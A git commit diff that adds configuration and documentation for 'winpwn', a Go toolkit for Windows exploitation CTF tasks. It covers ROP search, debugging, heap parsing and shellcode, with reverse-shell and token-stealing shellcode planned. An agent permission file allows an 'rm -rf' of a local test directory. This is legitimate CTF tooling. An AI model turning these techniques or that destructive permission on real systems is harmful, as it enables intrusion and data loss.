v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"permissions": {
|
||||
"allow": [
|
||||
"Bash(taskkill //F //IM heap_segment_target.exe)",
|
||||
"Bash(rm -rf \"C:/tools/go_pwner/examples/_segtest\")"
|
||||
]
|
||||
}
|
||||
}
|
||||
Vendored
+4
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"spellcheck": false,
|
||||
"readableLineLength": false
|
||||
}
|
||||
Vendored
+4
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"cssTheme": "Minimal",
|
||||
"theme": "moonstone"
|
||||
}
|
||||
Vendored
+33
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"file-explorer": true,
|
||||
"global-search": true,
|
||||
"switcher": true,
|
||||
"graph": true,
|
||||
"backlink": true,
|
||||
"canvas": true,
|
||||
"outgoing-link": true,
|
||||
"tag-pane": true,
|
||||
"footnotes": false,
|
||||
"properties": false,
|
||||
"page-preview": true,
|
||||
"daily-notes": true,
|
||||
"templates": true,
|
||||
"note-composer": true,
|
||||
"command-palette": true,
|
||||
"slash-command": false,
|
||||
"editor-status": true,
|
||||
"bookmarks": true,
|
||||
"markdown-importer": false,
|
||||
"zk-prefixer": false,
|
||||
"random-note": false,
|
||||
"outline": true,
|
||||
"word-count": true,
|
||||
"slides": false,
|
||||
"audio-recorder": false,
|
||||
"workspaces": false,
|
||||
"file-recovery": true,
|
||||
"publish": false,
|
||||
"sync": true,
|
||||
"bases": true,
|
||||
"webviewer": false
|
||||
}
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"name": "Minimal",
|
||||
"version": "8.2.1",
|
||||
"minAppVersion": "1.9.0",
|
||||
"author": "@kepano",
|
||||
"authorUrl": "https://twitter.com/kepano",
|
||||
"fundingUrl": "https://www.buymeacoffee.com/kepano"
|
||||
}
|
||||
Vendored
+8793
File diff suppressed because it is too large
Load Diff
Vendored
+191
@@ -0,0 +1,191 @@
|
||||
{
|
||||
"main": {
|
||||
"id": "0bd73f660e8e3af8",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "d2ce590c77d393ed",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "a2702fb7dd214b84",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "markdown",
|
||||
"state": {
|
||||
"file": "USAGE_RU.md",
|
||||
"mode": "source",
|
||||
"source": false
|
||||
},
|
||||
"icon": "lucide-file",
|
||||
"title": "USAGE_RU"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "vertical"
|
||||
},
|
||||
"left": {
|
||||
"id": "117a97a5bb799ceb",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "989b2c4bbd212f4f",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "c02cc3320afd9c91",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "file-explorer",
|
||||
"state": {
|
||||
"sortOrder": "alphabetical",
|
||||
"autoReveal": false
|
||||
},
|
||||
"icon": "lucide-folder-closed",
|
||||
"title": "Files"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "427d81b19a95f021",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "search",
|
||||
"state": {
|
||||
"query": "",
|
||||
"matchingCase": false,
|
||||
"explainSearch": false,
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical"
|
||||
},
|
||||
"icon": "lucide-search",
|
||||
"title": "Search"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "926eba43d9c83f2b",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "bookmarks",
|
||||
"state": {},
|
||||
"icon": "lucide-bookmark",
|
||||
"title": "Bookmarks"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
"width": 219.5
|
||||
},
|
||||
"right": {
|
||||
"id": "9a297289c18d0865",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "95c8dc3aa266804f",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "6704ecbcde25cdad",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "backlink",
|
||||
"state": {
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical",
|
||||
"showSearch": false,
|
||||
"searchQuery": "",
|
||||
"backlinkCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-coming-in",
|
||||
"title": "Backlinks"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "e4436962143bd303",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "outgoing-link",
|
||||
"state": {
|
||||
"linksCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-going-out",
|
||||
"title": "Outgoing links"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "ae13d378bf2573f9",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "tag",
|
||||
"state": {
|
||||
"sortOrder": "frequency",
|
||||
"useHierarchy": true,
|
||||
"showSearch": false,
|
||||
"searchQuery": ""
|
||||
},
|
||||
"icon": "lucide-tags",
|
||||
"title": "Tags"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "5ae9717d8c504129",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "outline",
|
||||
"state": {
|
||||
"file": "Windows vs Linux.md",
|
||||
"followCursor": false,
|
||||
"showSearch": false,
|
||||
"searchQuery": ""
|
||||
},
|
||||
"icon": "lucide-list",
|
||||
"title": "Outline of Windows vs Linux"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
"width": 300,
|
||||
"collapsed": true
|
||||
},
|
||||
"left-ribbon": {
|
||||
"hiddenItems": {
|
||||
"switcher:Open quick switcher": false,
|
||||
"graph:Open graph view": false,
|
||||
"canvas:Create new canvas": false,
|
||||
"daily-notes:Open today's daily note": false,
|
||||
"templates:Insert template": false,
|
||||
"command-palette:Open command palette": false,
|
||||
"bases:Create new base": false
|
||||
}
|
||||
},
|
||||
"active": "a2702fb7dd214b84",
|
||||
"lastOpenFiles": [
|
||||
"USAGE_RU.md.tmp.9536.748626efbb42",
|
||||
"USAGE.md.tmp.9536.1446eab87253",
|
||||
"ROADMAP.md.tmp.9536.c8510b38dfc7",
|
||||
"README.md.tmp.9536.b887ca0d4947",
|
||||
"USAGE.md",
|
||||
"ROADMAP.md",
|
||||
"README.md",
|
||||
"Untitled.md",
|
||||
"Windows vs Linux.md",
|
||||
"Проект.md",
|
||||
"WINDOWS ROADMAP.md",
|
||||
"shellcraft.go.tmp.8952.1bea1cf54fff",
|
||||
"shellcraft.go.tmp.8952.837434c4d940",
|
||||
"shellcode/bin/reverse_shell_x64.bin",
|
||||
"shellcode/asm/reverse_shell_x64.lst",
|
||||
"shellcode/asm/reverse_shell_x64.bin",
|
||||
"shellcode/asm/reverse_shell_x64.asm",
|
||||
"shellcode/asm/reverse_shell_x64.asm.tmp.8952.bee8e6cf5d45"
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
# winpwn
|
||||
|
||||
Pwntools-style exploitation toolkit for Windows pwn/CTF tasks, written in Go.
|
||||
|
||||
pwntools targets Linux. winpwn targets the Windows equivalents: SEH instead of
|
||||
signals, PE instead of ELF, msvcrt/ntdll instead of glibc, the Windows Debug
|
||||
API instead of ptrace/GDB. Go is used for direct WinAPI access
|
||||
(`golang.org/x/sys/windows`) and goroutine-based concurrent I/O.
|
||||
|
||||
## Install / import
|
||||
|
||||
Library (used from a solve script):
|
||||
|
||||
```go
|
||||
import "winpwn"
|
||||
|
||||
func main() {
|
||||
t, err := winpwn.Spawn("./target.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
if err := t.SendLineAfter([]byte("Input: "), payload); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
t.Interactive()
|
||||
}
|
||||
```
|
||||
|
||||
The module is used locally via a `replace` directive; it is not published.
|
||||
|
||||
CLI (quick-answer wrapper):
|
||||
|
||||
```
|
||||
go install ./cmd/winpwn
|
||||
go install ./cmd/pwninit
|
||||
```
|
||||
|
||||
## Components
|
||||
|
||||
**Core** ([context.go](context.go), [log.go](log.go), [cyclic.go](cyclic.go),
|
||||
[fiddling.go](fiddling.go), [packing.go](packing.go))
|
||||
- `Context`: global `Arch`, `LogLevel`, `Timeout`, `Newline` (pwntools' `context`).
|
||||
- `Info`/`Success`/`Warn`/`Error`: leveled logger to stderr, gated by `Context.LogLevel`.
|
||||
- `Cyclic`/`CyclicN`/`CyclicFind`/`CyclicFindN`: de Bruijn pattern generation and
|
||||
offset lookup. Matches pwntools' `cyclic`/`cyclic_find` output.
|
||||
- `Hexdump`/`Enhex`/`Unhex`/`Xor`.
|
||||
- `P16`/`P32`/`P64`, `U16`/`U32`/`U64`: little-endian pack/unpack.
|
||||
|
||||
**Tubes** ([tube.go](tube.go), [process.go](process.go), [remote.go](remote.go))
|
||||
- `Spawn` (local process) and `Remote` (TCP) return a `*Tube`.
|
||||
- `Send`/`SendLine`/`SendAfter`/`SendLineAfter`/`Recv`/`RecvUntil`/`RecvLine`/
|
||||
`RecvRegex`/`RecvPred`/`Interactive`/`Close`.
|
||||
- Every method returns `error`; the library never calls `os.Exit`/`log.Fatal`.
|
||||
- `SetTimeout` overrides `Context.Timeout` per tube (0 = block forever).
|
||||
|
||||
**Named pipes** ([pipe_windows.go](pipe_windows.go))
|
||||
- `ServePipe(name)` / `DialPipe(name)` over `CreateNamedPipe`
|
||||
(`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`) / `CreateFile`, both returning a
|
||||
`*Tube`.
|
||||
|
||||
**PE analysis** ([pe.go](pe.go), [sections.go](sections.go))
|
||||
- `OpenPE`, `ImageBase`, `EntryPoint`, `Is64Bit` (PE32 and PE32+).
|
||||
- Per-section `IsReadable`/`Writable`/`Executable`/`IsRWX`, `VirtualAddress`
|
||||
(RVA), `Offset` (`PointerToRawData`, file offset), `Entropy`,
|
||||
`LikelyPackedSections`.
|
||||
- `SearchBytes`: byte-pattern search across sections (analogue of `elf.search()`).
|
||||
|
||||
**Checksec** ([checksec.go](checksec.go), [authenticode_windows.go](authenticode_windows.go))
|
||||
- `(*PEFile).Checksec()`: ASLR, HighEntropyVA, DEP, CFG (cross-checked against
|
||||
Load Config `GuardFlags`), SafeSEH (x86 only, gated by `SEHApplicable`),
|
||||
GS-cookie heuristic, Authenticode presence, .NET/CLR.
|
||||
- `VerifyAuthenticodeSignature`: signature verification via `WinVerifyTrust`
|
||||
(Windows-only, no network calls).
|
||||
|
||||
**Imports / exports** ([exports.go](exports.go), [imports.go](imports.go),
|
||||
[imported_libs_windows.go](imported_libs_windows.go))
|
||||
- `ListExports`/`GetExport` with forwarder resolution.
|
||||
- `ListImports`/`FindImport` walking the IAT thunk arrays.
|
||||
- `ImportedLibs`: distinct imported DLLs, each `LoadLibrary`'d to report its live
|
||||
image base (system DLL bases are randomized per boot, not per process, so the
|
||||
address is valid machine-wide until reboot).
|
||||
|
||||
**Live-process PE** ([procmem_windows.go](procmem_windows.go), [symbols_windows.go](symbols_windows.go))
|
||||
- `OpenPEFromProcess(pid, base)`: every PE accessor works against process memory
|
||||
(`ReadProcessMemory`), not just a disk file.
|
||||
- `ResolveModuleBase(pid, name)`: walks `PEB->Ldr->InMemoryOrderModuleList`.
|
||||
- `SpawnSuspended`/`ResumeMainThread`: launch with `CREATE_SUSPENDED`.
|
||||
`ResolveModuleBase` returns null until the loader runs post-resume.
|
||||
- `ProcessSymbols` (`NewProcessSymbols`): `Base`, `Symbol`, `Modules`,
|
||||
`AllSymbols`. `SymbolVA`/`ListLoadedModules` for one-off lookups.
|
||||
|
||||
**ROP gadgets** ([gadgets.go](gadgets.go), [rop.go](rop.go))
|
||||
- `NewROP(path)`: shells out to `rp-win.exe` (a Windows build of rp++), resolved
|
||||
from `RP_WIN_EXE` or `C:\tools\rp-win\rp-win.exe`. Run with `--allow-branches`,
|
||||
so results include JOP transit gadgets (indirect `jmp reg`/`call reg`) as well
|
||||
as ret-terminated ones.
|
||||
- `NewROPExternal(path, toolPath)`: explicit tool path.
|
||||
- `Find(pattern)`: ranked matches, index 0 is the cleanest usable gadget.
|
||||
`Search`/`SearchRegex`: `(results, error)` form.
|
||||
- `Disassemble(addr, count)`: native decode via `golang.org/x/arch/x86/x86asm`
|
||||
for verifying a chain in-script.
|
||||
|
||||
**Patching** ([patch.go](patch.go))
|
||||
- `OpenPEForWrite`, `SetSectionCharacteristics`/`MakeSectionExecutable`/
|
||||
`MakeSectionWritable`, `DisableTLSCallbacks`, `PatchBytes`/
|
||||
`PatchBytesAtOffset`, `RecalculateChecksum`.
|
||||
|
||||
**Minidump** ([minidump.go](minidump.go))
|
||||
- `OpenMinidump(path)`: parses `MINIDUMP_HEADER`/`MINIDUMP_DIRECTORY` directly
|
||||
(no `dbghelp.dll`). `Modules()` (loaded modules + base addresses),
|
||||
`Exception()` (faulting thread/code/address/parameters), `RawStream(type)` for
|
||||
any other stream. Works without `GOOS=windows`.
|
||||
|
||||
**Debugger** ([debugger_windows.go](debugger_windows.go))
|
||||
- `Attach(pid)`: wraps the Windows Debug API
|
||||
(`DebugActiveProcess`/`WaitForDebugEvent`/`ContinueDebugEvent`/
|
||||
`Get/SetThreadContext`), resolved via `LazyDLL`.
|
||||
- `Events()`: typed event channel (`EventBreakpoint`/`EventException`/
|
||||
`EventCreateProcess`/`EventLoadDll`/`EventExitProcess`/...).
|
||||
- `SetBreakpoint`/`RemoveBreakpoint`: software INT3; `Continue` handles the
|
||||
restore/single-step/re-arm sequence internally.
|
||||
- `GetContext`/`SetContext` (registers), `ReadMemory`/`WriteMemory`.
|
||||
- No GUI-debugger (x64dbg/WinDbg) integration; `Attach` uses the same Win32 API.
|
||||
|
||||
**Heap struct parsing** ([heap.go](heap.go), [heap_lfh.go](heap_lfh.go),
|
||||
[heap_segment.go](heap_segment.go), [heap_windows.go](heap_windows.go))
|
||||
- Works against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a test
|
||||
buffer). Only `ListProcessHeaps` requires a live process (walks the PEB).
|
||||
- NT Heap: `ReadHeap`, `DecodeHeapEntry` (XOR-decoding), `WalkAllHeapEntries`,
|
||||
`SummariseEntries`, `AdjacentBusyPairs`, `EntriesInRange`, `EntriesWithUserData`.
|
||||
- NT Heap LFH: `ReadLFHBuckets`, `FindLFHBucket`, `ActiveSubsegment`,
|
||||
`ReadLFHSubsegment`, `CalibrateLFHFirstBlockOffset`, `BlockAddress`, `SlotOf`.
|
||||
- Segment Heap: `ReadSegmentHeap` (VS/LFH context summaries).
|
||||
- `AdjacentAddressPairs`/`FindAdjacentPair`: adjacency detection from leaked
|
||||
addresses, no chunk-header decode required.
|
||||
- Offsets confirmed on build 10.0.26100; verify on other builds. VS chunk headers
|
||||
and LFH `EncodedOffsets` are XOR-encoded and not decoded — calibrate against a
|
||||
known address instead.
|
||||
|
||||
**Spray** ([spray.go](spray.go))
|
||||
- `SprayAndFind`: spray up to N times, check each attempt against all prior
|
||||
samples (plus an optional seed) via a caller-supplied relation, return the
|
||||
first match. Covers both equality (UAF reuse) and distance (adjacency) checks.
|
||||
|
||||
**Shellcraft** ([shellcraft.go](shellcraft.go), [shellcode_exec_windows.go](shellcode_exec_windows.go))
|
||||
- `ShellcodeWinExec(cmd)`: position-independent x64 shellcode resolving kernel32
|
||||
via the PEB (source: [shellcode/asm/winexec_x64.asm](shellcode/asm/winexec_x64.asm)).
|
||||
- `ExecuteShellcode`: runs a template locally for validation.
|
||||
|
||||
**CLI** ([cmd/winpwn](cmd/winpwn/main.go), [cmd/pwninit](cmd/pwninit/main.go))
|
||||
- `winpwn`: `checksec`, `cyclic`, `hex`/`unhex`, `hexdump`, `rop`, `bytes`,
|
||||
`disasm`, `exports`, `imports`, `heap`.
|
||||
- `pwninit`: prints recon (arch, checksec, sections, imported libs) and scaffolds
|
||||
a `go.mod` + minimal `main.go` for a new task.
|
||||
|
||||
## Documentation
|
||||
|
||||
- [USAGE.md](USAGE.md) — worked examples and a function-by-function reference.
|
||||
- [USAGE_RU.md](USAGE_RU.md) — condensed reference (Russian).
|
||||
- [ROADMAP.md](ROADMAP.md) — implementation status and planned work.
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
# winpwn roadmap
|
||||
|
||||
Status and planned work, organized by feature area. Each item names the pwntools
|
||||
feature it mirrors, where one exists.
|
||||
|
||||
Scope: winpwn is built for a local Windows-only CTF. The goal is to let a player
|
||||
who understands an exploit technique (overflow, UAF, IOCTL abuse, token stealing)
|
||||
work at that level instead of on WinAPI struct layouts and Go plumbing.
|
||||
|
||||
Legend: ✅ done · 🚧 partial · ⬜ planned.
|
||||
|
||||
## Core ergonomics — ✅
|
||||
|
||||
- `Context` ([context.go](context.go)): `Arch` (x86/x64), `LogLevel`, `Timeout`,
|
||||
`Newline`. Note: `P16/P32/P64` are little-endian only and do not read
|
||||
endianness from `Context.Arch` — every Windows target is little-endian.
|
||||
- Logging ([log.go](log.go)): `Info`/`Success`/`Warn`/`Error`, gated by
|
||||
`Context.LogLevel`. Every `Tube` method returns `error` rather than exiting.
|
||||
- Timeouts ([tube.go](tube.go)): `(*Tube).SetTimeout` overrides `Context.Timeout`
|
||||
(0 = block forever). `Recv*`/`Send*` race the call against the deadline via
|
||||
goroutine + `select`. A timed-out call's goroutine is not killed; it runs until
|
||||
the underlying blocking I/O completes (Go has no portable deadline for an
|
||||
arbitrary pipe/socket reader).
|
||||
- `cyclic` ([cyclic.go](cyclic.go)): `Cyclic`/`CyclicN`, `CyclicFind`/
|
||||
`CyclicFindN`. Generator is lazy (`deBruijnEach`) and stops at the requested
|
||||
length. Verified against pwntools' `cyclic(20)` output.
|
||||
- `fiddling` ([fiddling.go](fiddling.go)): `Hexdump`, `Enhex`/`Unhex`, `Xor`.
|
||||
- Packing ([packing.go](packing.go)): `P16`/`P32`/`P64`, `U16`/`U32`/`U64`.
|
||||
- Tube API ([tube.go](tube.go)): `Send*`/`Recv*`/`RecvRegex`/`RecvPred`/
|
||||
`Interactive`/`Close`.
|
||||
|
||||
## PE tooling — ✅
|
||||
|
||||
- Parsing ([pe.go](pe.go), [sections.go](sections.go)): `ImageBase`,
|
||||
`EntryPoint`, PE32 and PE32+ via a unified `header()` helper, per-section
|
||||
`Entropy`/`IsLikelyPacked`, `IsReadable`/`Writable`/`Executable`/`IsRWX`.
|
||||
- Checksec ([checksec.go](checksec.go)): ASLR/`DYNAMIC_BASE`, `HighEntropyVA`,
|
||||
DEP/`NX_COMPAT`, CFG (cross-checked against Load Config `GuardFlags`), SafeSEH
|
||||
(x86 only, flagged `SEHApplicable`), GS heuristic, Authenticode presence, .NET.
|
||||
Signature verification via `WinVerifyTrust` in
|
||||
[authenticode_windows.go](authenticode_windows.go).
|
||||
- IAT/EAT ([exports.go](exports.go), [imports.go](imports.go)): `ListExports`/
|
||||
`GetExport` with forwarder resolution, `ListImports`/`FindImport` walking the
|
||||
thunk arrays (ordinal-or-name, 32/64-bit thunk width).
|
||||
- ROP ([gadgets.go](gadgets.go), [rop.go](rop.go)): `NewROP` shells out to
|
||||
`rp-win.exe` (rp++ build), resolved from `RP_WIN_EXE` or
|
||||
`C:\tools\rp-win\rp-win.exe`, run with `--allow-branches`. `NewROPExternal`
|
||||
takes an explicit tool path. `Find`/`Search`/`SearchRegex` filter the results;
|
||||
`Disassemble` decodes natively via `x86asm` for chain verification.
|
||||
- Patching ([patch.go](patch.go)): `OpenPEForWrite`,
|
||||
`SetSectionCharacteristics`/`MakeSectionExecutable`/`MakeSectionWritable`,
|
||||
`DisableTLSCallbacks`, `PatchBytes`/`PatchBytesAtOffset`, `RecalculateChecksum`.
|
||||
|
||||
Deferred:
|
||||
- ⬜ `AddSection`: append a new section for payload injection. Requires
|
||||
growing the header area and recomputing `SizeOfImage`/`SizeOfHeaders`; needs
|
||||
round-trip tests against real binaries.
|
||||
- ⬜ `DynPE` (analogue of `DynELF`): given one memory-read primitive, walk a
|
||||
loaded module's export directory at runtime to resolve symbols.
|
||||
|
||||
## Live-process introspection — ✅
|
||||
|
||||
Reads a PE inside a running process, resolving a module base via the PEB.
|
||||
|
||||
- `PEFile` is backed by `io.ReaderAt`/`io.WriterAt` ([pe.go](pe.go)), so a
|
||||
`ReadProcessMemory`-backed implementation gets every PE accessor for free.
|
||||
- `OpenPEFromProcess(pid, base)` ([procmem_windows.go](procmem_windows.go)):
|
||||
live-memory entry point over `ProcessMemory`. In this mode `RVAToFileOffset`
|
||||
is the identity function (a loaded RVA is a read offset from the module base).
|
||||
- `ResolveModuleBase(pid, name)`: walks `PEB->Ldr->InMemoryOrderModuleList`,
|
||||
matched case-insensitively by base name.
|
||||
- `SpawnSuspended`/`ResumeMainThread`: launch with `CREATE_SUSPENDED`.
|
||||
`ResolveModuleBase` returns null on a still-suspended process — the loader
|
||||
(`ntdll!LdrInitializeThunk`) has not populated `PEB->Ldr` yet.
|
||||
`SpawnSuspended` is for attaching a debugger before the loader/entry point run,
|
||||
not for pre-resume base resolution.
|
||||
- `ProcessSymbols` ([symbols_windows.go](symbols_windows.go)): `Base`, `Symbol`,
|
||||
`Modules`, `AllSymbols`; caches one `PEFile` per DLL. `SymbolVA`/
|
||||
`ListLoadedModules` for one-off lookups. (Analogue of `p.libs`/`p.symbols`.)
|
||||
|
||||
## Minidump — ✅
|
||||
|
||||
[minidump.go](minidump.go): `OpenMinidump` parses `MINIDUMP_HEADER`/
|
||||
`MINIDUMP_DIRECTORY` and decodes `ModuleListStream` (`Modules()`) and
|
||||
`ExceptionStream` (`Exception()`) from the public struct layouts, without
|
||||
`dbghelp.dll`. `RawStream(type)` returns any other stream undecoded. Register
|
||||
context (`CONTEXT` blob) is not decoded — its layout is arch-specific with XSAVE
|
||||
padding; use `RawStream`. Works without `GOOS=windows`.
|
||||
|
||||
## Shellcode & encoding — 🚧
|
||||
|
||||
- ✅ `ShellcodeWinExec(cmd)` ([shellcraft.go](shellcraft.go),
|
||||
[shellcode/asm/winexec_x64.asm](shellcode/asm/winexec_x64.asm)):
|
||||
position-independent x64, resolves kernel32 via the PEB
|
||||
(`shellcode/asm/resolver.inc`), calls `WinExec` by name. Assembled ahead of
|
||||
time with NASM; `.asm` source kept alongside the `.bin`.
|
||||
- ✅ `ExecuteShellcode` ([shellcode_exec_windows.go](shellcode_exec_windows.go)):
|
||||
runs a template locally for validation.
|
||||
- ⬜ More templates on the same resolver base: `MessageBoxA`, reverse shell via
|
||||
raw `WS2_32`, a standalone `LoadLibraryA`+`GetProcAddress` primitive (current
|
||||
`find_export` only walks an already-loaded module).
|
||||
- ⬜ Token-stealing shellcode (see Driver/LPE).
|
||||
- ⬜ Encoders: alphanumeric and XOR bad-character avoidance.
|
||||
- ⬜ `asm`/assemble direction. Disassembly exists (`ROP.Disassemble` via
|
||||
`x86asm`); assembling would use cgo bindings to the `keystone/` engine
|
||||
(walled off by its own `go.mod`, [keystone/go.mod](keystone/go.mod)).
|
||||
|
||||
## Debugger — ✅
|
||||
|
||||
[debugger_windows.go](debugger_windows.go) wraps the Windows Debug API
|
||||
(`DebugActiveProcess`/`WaitForDebugEvent`/`ContinueDebugEvent`/
|
||||
`Get/SetThreadContext`), resolved via `LazyDLL`. No GUI-debugger integration.
|
||||
|
||||
- `Attach(pid)`: the only entry point. The OS ties the debug session to the
|
||||
thread that called `DebugActiveProcess`, so `Attach` pins a dedicated goroutine
|
||||
with `runtime.LockOSThread` and runs the entire event loop there. Compose with
|
||||
`SpawnSuspended`/`ResumeMainThread` to debug from the first instruction.
|
||||
- `Events() <-chan DebugEvent`: decodes `EXCEPTION_DEBUG_EVENT`/
|
||||
`CREATE_PROCESS_DEBUG_EVENT`/`LOAD_DLL_DEBUG_EVENT`/`EXIT_PROCESS_DEBUG_EVENT`/
|
||||
etc. `DEBUG_EVENT` union payloads are read via `unsafe.Pointer`.
|
||||
- `SetBreakpoint`/`RemoveBreakpoint`: software INT3. `Continue` restores the
|
||||
original byte, single-steps, and re-arms so a breakpoint persists across hits.
|
||||
`Rip` is rewound past the trap before the event reaches the caller.
|
||||
- `GetContext`/`SetContext`: a `Registers` struct (Rax..R15/Rip/EFlags) over the
|
||||
x64 `CONTEXT`. `ReadMemory`/`WriteMemory` over the debuggee's address space.
|
||||
- Hardware breakpoints (debug registers) are not implemented; software
|
||||
breakpoints plus `Step`/`GetContext`/`SetContext` cover the common case.
|
||||
- `Step()` in response to an `EventBreakpoint` behaves like `Continue` (resuming
|
||||
past a software breakpoint already requires an internal single-step).
|
||||
|
||||
## Networking & transports — 🚧
|
||||
|
||||
- ✅ Named pipes ([pipe_windows.go](pipe_windows.go)): `ServePipe(name)`/
|
||||
`DialPipe(name)`, both returning a `*Tube`. `ServePipe` uses
|
||||
`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`; each `ReadFile`/`WriteFile` blocks
|
||||
on `GetOverlappedResult`, so the handle behaves as a blocking
|
||||
`io.ReadWriteCloser`. `pipeConn.Close()` is idempotent (`sync.Once`) because
|
||||
the duplex handle is used as both `Tube.stdin` and `Tube.stdout`.
|
||||
- ⬜ `Listen`: TCP listener tube for reverse shells (`net.Listen`).
|
||||
- ⬜ TLS transport (`Remote` with `tls.Dial`).
|
||||
- ⬜ SSH transport (`golang.org/x/crypto/ssh`).
|
||||
- ⬜ Process-tree cleanup: `Spawn` should kill the whole tree on `Close()` via a
|
||||
Windows Job Object.
|
||||
|
||||
## CLI — 🚧
|
||||
|
||||
[cmd/winpwn/main.go](cmd/winpwn/main.go), additive to the library.
|
||||
|
||||
Done: `checksec`, `cyclic` (`-l` accepts literal bytes or a `0x...` packed
|
||||
integer), `hex`/`unhex`/`hexdump`, `rop` (`-search`/`-regex`; no unfiltered dump
|
||||
mode), `disasm`, `exports`, `imports`, `heap`.
|
||||
|
||||
Open:
|
||||
- ⬜ `winpwn asm`: blocked on the Keystone integration.
|
||||
- ⬜ `winpwn template`: scaffold a new solve script (partly covered by
|
||||
[cmd/pwninit](cmd/pwninit/main.go)).
|
||||
|
||||
## Driver / LPE (Ring 0) — ⬜
|
||||
|
||||
- ⬜ Device handle + IOCTL wrapper: `OpenDevice(name)` over `CreateFileA`,
|
||||
`(*Device).IOCTL(code, in)` over `DeviceIoControl`, handling output-buffer
|
||||
sizing and error mapping.
|
||||
- ⬜ Token-stealing shellcode (x86 and x64), parameterized by a
|
||||
`KernelOffsets{Process, ActiveProcessLinks, Token}` struct.
|
||||
- ⬜ Kernel info-leak helpers over the common `NtQuerySystemInformation` classes.
|
||||
|
||||
## Heap exploitation — 🚧
|
||||
|
||||
Heap struct-parsing layer. All decoders work against any `io.ReaderAt`; only
|
||||
finding a heap address in a live process needs Windows syscalls.
|
||||
|
||||
- ✅ NT Heap foundation ([heap.go](heap.go)): `_HEAP`/`_HEAP_SEGMENT`/
|
||||
`_HEAP_ENTRY` + `DecodeHeapEntry` (XOR against `_HEAP.Encoding`). Offsets from
|
||||
`dt ntdll!_HEAP` on build 10.0.26100; decode validated against `!heap -a` for
|
||||
three allocations (see `TestDecodeHeapEntryMatchesLiveGroundTruth`).
|
||||
`WalkAllHeapEntries`, `SummariseEntries`, `EntriesInRange`,
|
||||
`EntriesWithUserData`, `AdjacentBusyPairs`. `UserSize` =
|
||||
`Size*HeapEntrySize - UnusedBytes` (no separate header subtraction —
|
||||
`UnusedBytes` already accounts for the header).
|
||||
- ✅ `ListProcessHeaps(pid)` ([heap_windows.go](heap_windows.go)): PEB walk via
|
||||
`NtQueryInformationProcess(ProcessBasicInformation)`.
|
||||
- ✅ NT Heap LFH ([heap_lfh.go](heap_lfh.go)): `ReadLFHBuckets`,
|
||||
`FindLFHBucket` (searches `BlockSize >= wantSize + 16`; LFH blocks include the
|
||||
16-byte header), `ActiveSubsegment`, `AllSubsegments`, `ReadLFHSubsegment`
|
||||
(BusyBitmap validated), `CalibrateLFHFirstBlockOffset`, `BlockAddress`,
|
||||
`SlotOf`. Caveats: a bucket warms up after ≈19 same-size requests before
|
||||
`SegmentInfoArrays[bucket]` is populated (build-specific);
|
||||
`_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated —
|
||||
`CalibrateLFHFirstBlockOffset` uses a known-address calibration instead.
|
||||
- ✅ Segment Heap outer layer ([heap_segment.go](heap_segment.go)):
|
||||
`ReadSegmentHeap` (Signature/GlobalFlags + VS/LFH summaries), VS subsegment
|
||||
walk, LFH bucket enumeration. VS `_HEAP_VS_CHUNK_HEADER.Sizes` and Segment LFH
|
||||
`BlockOffsets.EncodedData` are XOR-encoded and not decoded. Adjacency is
|
||||
handled by `AdjacentAddressPairs`/`FindAdjacentPair` on leaked addresses, which
|
||||
needs no chunk-header decode.
|
||||
- ✅ `winpwn heap <pid> [-walk]` CLI subcommand.
|
||||
- ⬜ BSTR/client-spray generator (lower priority; `SprayAndFind` covers the
|
||||
generic retry/search loop).
|
||||
|
||||
## Go-native additions — ⬜
|
||||
|
||||
- ⬜ `Pool`: fan out one exploit across N parallel connections via a bounded
|
||||
goroutine pool.
|
||||
- ⬜ Race-condition primitives: fire N goroutines at a target behind a barrier.
|
||||
- ⬜ Cancellable `Interactive`: propagate a `context.Context` into both copy
|
||||
goroutines so the stdin-forwarding goroutine does not outlive the tube.
|
||||
|
||||
## Testing
|
||||
|
||||
